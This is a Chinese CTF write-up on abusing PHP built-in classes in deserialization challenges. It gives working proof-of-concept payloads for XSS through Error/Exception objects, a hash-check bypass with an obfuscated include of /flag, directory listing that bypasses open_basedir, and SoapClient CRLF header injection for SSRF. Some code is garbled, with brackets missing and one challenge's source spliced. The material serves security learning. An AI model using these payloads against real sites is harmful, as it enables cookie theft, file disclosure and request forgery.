当前位置:网站首页 > 网络安全培训 > 正文

PHP原生类学习

freebuffreebuf 2022-05-03 283 0

本文来源:L3ife1

前言

封寝准备CISCN,打完这次CISCN就去实习了。等打完比赛就暂时把CTF放一边,当了三年的CTF赛狗,先把实习要求的内容进行一次学习。(主要偏CTF,研究较少)。

PHP原生类学习

查看各方法的内置类

通过这段代码查看方法的类,这里看到__toString方法对应的Error类

?php classes = get_declared_classes(); foreach ($classes as $class) {     	$methods = get_class_methods($class);     	foreach ($methods as $method) {         	if (in_array($method, array(         		'__destruct',         	    '__toString',             '__wakeup',             '__call',             '__callStatic',             '__get',             '__set',             '__isset',             '__unset',             '__invoke',             '__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类         ))) {             print $class . '::' . $method . "\n";         }     } } 

1651559702916.png

利用Error/Exception内置类进行XSS

Error类

1.利用条件

php7以上
开启报错情况下

Error类是php的一个常见类,用于自定义一个Error,当用户输入错误的值,回显Error页面,php7版本会存在类似的XSS漏洞。Error::__toString,Error类存在__toString的方法,该方法进行类当作字符串进行回应,也就是echo $l3ife会显示什么。php对象当作一个字符串输出(echo $l3ife)会触发to_String方法。一般用于反序列化漏洞和XSS漏洞。

本地创建error.php(php版本设置为7.0)

?php highlight_file('2.php'); $a = unserialize($_GET['cmd']); echo $a; ?>  

这段反序列化函数,并不存在自定义类,不可以打反序列化,可以用php反序列化的php内置类

POC: ?php	 $a=new Error("script>alert('xss')/script>"); $b = serialize($a); echo urlencode($b);  ?>  

这样就构成XSS漏洞,也可以获得COOKIE信息。

Exception类
1.利用条件

php5、php7
开启报错的情况下

本地创建2.php的文件

?php highlight_file('2.php'); $a = unserialize($_GET['cmd']); echo $a; ?>  

POC

?php $a = new Exception("script>alert('xss')/script>"); $b = serialize($a); echo urlencode($b);  ?> 

[BJDCTF 2nd]xss之光
通过git拿到源码

?php  $a = $_GET['yds_is_so_beautiful']; Echo unserialize($a); 

给了GET传参,进行反序列化,不知道怎么自定义类,遇到了反序列化没有POP链的情况。只能通过php内置类进行反序列化,又存在echo,可以用__toString方法返回对象进行反序列化。该题为XSS之光,所以可以通过XSS拿出FLAG。

思路:flag一般在COOKIE的信息里。

?php $poc=new	Exception("script>alert(document.cookie)/script>"); Echo urlencode(serialize($poc));?> 反弹cookie 

将得到的结果传入
/?yds_is_so_beautiful=$POC

利用Error/Exception 内置类绕过哈希比较

测试代码

?php $a = new Error("payload",1); echo $a; 

发现会以字符串进行输出,包括当前的错误信息payload以及报错的行号2,传入 Error("payload",1) 中的错误代码“1”则没有输出出来。

?php $a = new Error("payload",1); $b = new Error("payload",2); echo $a; echo "\r\n\r\n"; echo $b; 

输出

Error: payload in D:\phpstudy_pro\WWW\test.php:2 Stack trace: #0 {main}  Error: payload in D:\phpstudy_pro\WWW\test.php:2 Stack trace: #0 {main} 

$a 和 $b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。
可以利用这个方法果然哈希比较。

[2020 极客大挑战]Greatphp
考点:php内置绕过哈希比较、php取反绕过

?php error_reporting(0); class SYCLOVER {     public $syc;     public $lover;      public function __wakeup(){         if(($this->syc != $this->lover) \?php|\(|\)|\"|\'/", $this->syc, $match)){                eval($this->syc);            } else {                die("Try Hard !!");            }                     }     } } if (isset($_GET['great'])){     unserialize($_GET['great']); } else {     highlight_file(__FILE__); } ?> 

要是常见的php题目,可以数组绕过强类型。在这题目中,需要Error类。

if( ($this->syc != $this->lover) " %8F%97%8F%96%91%99%90 
Payload:?code=(~%8F%97%8F%96%91%99%90)(); 
将EXP写入 $cmd='/flag'; $cmd=urlencode(~$cmd); $str = "?>?=include~".urldecode("%D0%99%93%9E%98")."?>"; $a=new Error($str,1); $b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c))); ?> 

1651561796309.png

1651561818071.png

利用Directorylterator和Filesystemlterator内置类读取文件

这两个内置类可以进行读取文件

Directorylterator

版本:php5、php7、php8
Filesystemlterator
版本:PHP 5 >= 5.3.0, PHP 7, PHP 8

Directorylterator

?php  highlight_file(__file__);  $dir=$_GET['cmd'];  $a=new DirectoryIterator($dir);  foreach($a as $f){      echo($f -> __toString()."br>");        }  ?>  

1651562075427.png查看该类,发现__toString()方法 1651562101506.png会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名 配合glob://协议使用模式匹配来寻找我们想要的文件路径 ```

Filesystemlterator

?php $dir=new Filesystemlterator("glob:///flag"); Echo $dir; 

突破open_basedir的限制

这里看ctfshow web74

error_reporting(0);  ini_set('display_errors', 0); // 你们在炫技吗?  if(isset($_POST['c'])){  $c=$_POST['c'];  eval($c); $s=ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s);  }else{  highlight_file(__FILE__); } ?>  Payload?c=$a=newDirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'br>');}exit(); 

1651562345545.png绕过了open_basedir限制,信息泄露 接着包含一下 >c=include('/flagx.txt');exit();

利用SoapClient类进行SSRF

soapClient:专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
类介绍:

SoapClient { 	/* 方法 */ 	public __construct ( string|null $wsdl , array $options = [] ) 	public __call ( string $name , array $args ) : mixed 	public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null 	public __getCookies ( ) : array 	public __getFunctions ( ) : array|null 	public __getLastRequest ( ) : string|null 	public __getLastRequestHeaders ( ) : string|null 	public __getLastResponse ( ) : string|null 	public __getLastResponseHeaders ( ) : string|null 	public __getTypes ( ) : array|null 	public __setCookie ( string $name , string|null $value = null ) : void 	public __setLocation ( string $location = "" ) : string|null 	public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool 	public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array  }else{ 	$token = $_POST['token']; 	if($token=='ctfshow'){ 		file_put_contents('flag.txt',$flag); 	} } 

需要伪造IP为127.0.0.1.post传参token为ctfshow。就会将flag值写入flag.txt

Index.php

?php highlight_file(__FILE__);  $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag(); 

传入vip参数并且反序列化,调用getFlag方法,但是找不到谁调用了,如果调用未知的方法,会默认调用php原生类的方法。该题是php原生类的SSRF考点。

本地开启phpstudy测试,创建2.php
注意:只开启nginx,且把php.ini文件里的

extension=php_soap.dll
soap.wsdl_cache_enabled=0
soap.wsdl_cache_ttl=0

?php $client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1:9999/ctfshow'));  $client->getFlag(); 

uri为服务命名空间,location为发送给服务器的URL地址

并在本地监听9999端口
1651563393168.png
访问localhost/2.php,监听数据得到数据包
1651563411567.png
得到响应包,Location提交的ctfshow在POST那,需要提交一个post参数。并且可控制的参数为SOAPAction、UA。

进行伪造UA,前提提示token=ctfshow,content-Type长度有13个,试着获得flag.php

?php $ua="ctfshow\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));  $client->getFlag(); 

监听查看,发现修改成功
1651563475588.png
Content-type发现长度token=ctfshow为13时,就把后面的丢弃。

注意flag.php还存在这段代码

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); 

进行分割数组,并且删除两次数组后面的元素。
所以我们需要插入三个127.0.0.1

?php $ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));  $client->getFlag(); 

得到以下数据
1651563626841.png
修改2.php,测试端口我们选择9999,服务器端口为80;进行序列化。
1651563644286.png
1651563659674.png
这需要两个换行,我一直填一个,导致http包闭合了。
1651563726210.png

利用ReflectionMethod读取User类的方法

ReflectionMethod类
ReflectionMethod的类报告了方法的相关信息

版本:(PHP 5, PHP 7, PHP 8)

类的方法

ReflectionMethod::__construct — ReflectionMethod 的构造函数 ReflectionMethod::export — 输出一个回调方法 ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口,译者注:可以使用这个返回值直接调用非公开方法。 ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例 ReflectionMethod::getModifiers — 获取方法的修饰符 ReflectionMethod::getPrototype — 返回方法原型 (如果存在) ReflectionMethod::invoke — Invoke ReflectionMethod::invokeArgs — 带参数执行 ReflectionMethod::isAbstract — 判断方法是否是抽象方法 ReflectionMethod::isConstructor — 判断方法是否是构造方法 ReflectionMethod::isDestructor — 判断方法是否是析构方法 ReflectionMethod::isFinal — 判断方法是否定义 final ReflectionMethod::isPrivate — 判断方法是否是私有方法 ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected) ReflectionMethod::isPublic — 判断方法是否是公开方法 ReflectionMethod::isStatic — 判断方法是否是静态方法 ReflectionMethod::setAccessible — 设置方法是否访问 ReflectionMethod::__toString — 返回反射方法对象的字符串表达 

[第十四届全国信息安全竞赛]easy_resource
扫描得到index.php.swo

?php class User {     private static $c = 0;      function a()     {         return ++self::$c;     }      function b()     {         return ++self::$c;     }      function c()     {         return ++self::$c;     }      function d()     {         return ++self::$c;     }      function e()     {         return ++self::$c;     }      function f()     {         return ++self::$c;     }      function g()     {         return ++self::$c;     }      function h()     {         return ++self::$c;     }      function i()     {         return ++self::$c;     }      function j()     {         return ++self::$c;     }      function k()     {         return ++self::$c;     }      function l()     {         return ++self::$c;     }      function m()     {         return ++self::$c;     }      function n()     {         return ++self::$c;     }      function o()     {         return ++self::$c;     }      function p()     {         return ++self::$c;     }      function q()     {         return ++self::$c;     }      function r()     {         return ++self::$c;     }      function s()     {         return ++self::$c;     }      function t()     {         return ++self::$c;     } } $rc=$_GET["rc"]; $rb=$_GET["rb"]; $ra=$_GET["ra"]; $rd=$_GET["rd"]; $method= new $rc($ra, $rb); var_dump($method->$rd()); 

考虑利用原生类 ReflectionMethod 读取 User 类中的方法

构造Payload

?rc=ReflectionMethod&ra=User&ra=User&rb=

rb取a-z。进行burp爆破
1651564278329.png

参考文档

https://www.codetd.com/article/13648456
https://xz.aliyun.com/t/9293

转载请注明来自网盾网络安全培训,本文标题:《PHP原生类学习》

标签:

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表